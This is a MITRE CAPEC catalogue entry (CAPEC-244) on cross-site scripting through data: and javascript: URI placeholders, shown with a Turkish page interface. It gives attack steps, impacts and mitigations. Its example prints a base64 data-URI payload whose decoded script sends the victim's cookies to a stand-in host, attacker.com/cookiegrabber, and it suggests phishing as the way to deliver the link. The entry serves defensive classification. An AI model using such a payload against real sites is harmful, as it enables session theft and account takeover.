COMMON ATTACK PATTERN ENUMERATION AND CLASSIFICATIONMITRE canlı kaydı
CAPEC-244
XSS Targeting URI Placeholders
An attack of this type exploits the ability of most browsers to interpret "data", "javascript" or other URI schemes as client-side executable content placeholders. This attack consists of passing a malicious URI in an anchor tag HREF attribute or any other similar attributes in other HTML tags. Such malicious URI contains, for example, a base64 encoded HTML content with an embedded cross-site scripting payload. The attack is executed when the browser interprets the malicious content i.e., for example, when the victim clicks on the malicious link.
Soyutlama
Detailed
Tipik ciddiyet
High
Saldırı ihtimali
High
Saldırıyı anla
Bu saldırı kalıbı nedir?
An attack of this type exploits the ability of most browsers to interpret "data", "javascript" or other URI schemes as client-side executable content placeholders. This attack consists of passing a malicious URI in an anchor tag HREF attribute or any other similar attributes in other HTML tags. Such malicious URI contains, for example, a base64 encoded HTML content with an embedded cross-site scripting payload. The attack is executed when the browser interprets the malicious content i.e., for example, when the victim clicks on the malicious link.
Uygulama akışı
Saldırı adım adım nasıl ilerler?
Explore
Survey the application for user-controllable inputs
Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.
Kullanılan teknikler
- Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
- Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
- Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.
Experiment
Probe identified potential entry points for reflected XSS vulnerability
The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various payloads formatted as data URI schemes using base to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.
Kullanılan teknikler
- Use a list of XSS probe strings using different URI schemes to inject in parameters of known URLs. If possible, the probe strings contain a unique identifier to trace the injected string back to the entry point.
- Use a proxy tool to record results of manual input of XSS probes in known URLs.
Craft malicious XSS URL
Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.
Kullanılan teknikler
- Change a URL parameter to include a malicious payload formatted as a URI scheme, or use the URL returned when the URI scheme was given as input to the web application.
- Send information gathered from the malicious script to a remote endpoint.
Exploit
Get victim to click URL
In order for the attack to be successful, the victim needs to access the malicious URL.
Kullanılan teknikler
- Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.
- Put the malicious URL on a public forum, where many victims might accidentally click the link.
Gereksinimler
Saldırının gerçekleşmesi için ne gerekir?
Ön koşullar
- Target client software must allow scripting such as JavaScript and allows executable content delivered using a data URI scheme.
Gerekli beceri
- Medium: To inject the malicious payload in a web page
Gerekli kaynak
- Ability to send HTTP request to a web application
Etki
Başarılı saldırı neye yol açar?
Modify Data
Etkilenen alanlar: Integrity
Read Data
Etkilenen alanlar: Confidentiality
Execute Unauthorized Commands
Etkilenen alanlar: Authorization
Gain Privileges
Etkilenen alanlar: Accountability, Authentication, Authorization, Non-Repudiation
Bypass Protection Mechanism
Etkilenen alanlar: Access Control, Authorization
Savunma
Nasıl önlenir ve etkisi azaltılır?
1
Design: Use browser technologies that do not allow client side scripting.
2
Design: Utilize strict type, character, and encoding enforcement.
3
Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.
4
Implementation: Ensure all content coming from the client is using the same encoding; if not, the server-side application must canonicalize the data before applying any filtering.
5
Implementation: Perform input validation for all remote content, including remote and user-generated content
6
Implementation: Perform output validation for all remote content.
7
Implementation: Disable scripting languages such as JavaScript in browser
8
Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.
Gerçek dünya
MITRE örnek olayları
Örnek olay 1Detay
The following payload data:
text/html;base64,PGh0bWw+PGJvZHk+PHNjcmlwdD52YXIgaW1nID0gbmV3IEltYWdlKCk7IGltZy5zcmMgPSAiaHR0cDovL2F0dGFja2VyLmNvbS9jb29raWVncmFiYmVyPyIrIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5jb29raWVzKTs8L3NjcmlwdD48L2JvZHk+PC9odG1sPg==
represents a base64 encoded HTML and uses the data URI scheme to deliver it to the browser.
The decoded payload is the following piece of HTML code:
<html> <body> <script> var img = new Image();
img.src = "http://attacker.com/cookiegrabber?"+ encodeURIComponent(document.cookies);
</script>
</body>
</html>
Web applications that take user controlled inputs and reflect them in URI HTML placeholder without a proper validation are at risk for such an attack.
An adversary could inject the previous payload that would be placed in a URI placeholder (for example in the anchor tag HREF attribute):
<a href="INJECTION_POINT">My Link</a>
Once the victim clicks on the link, the browser will decode and execute the content from the payload. This will result on the execution of the cross-site scripting attack.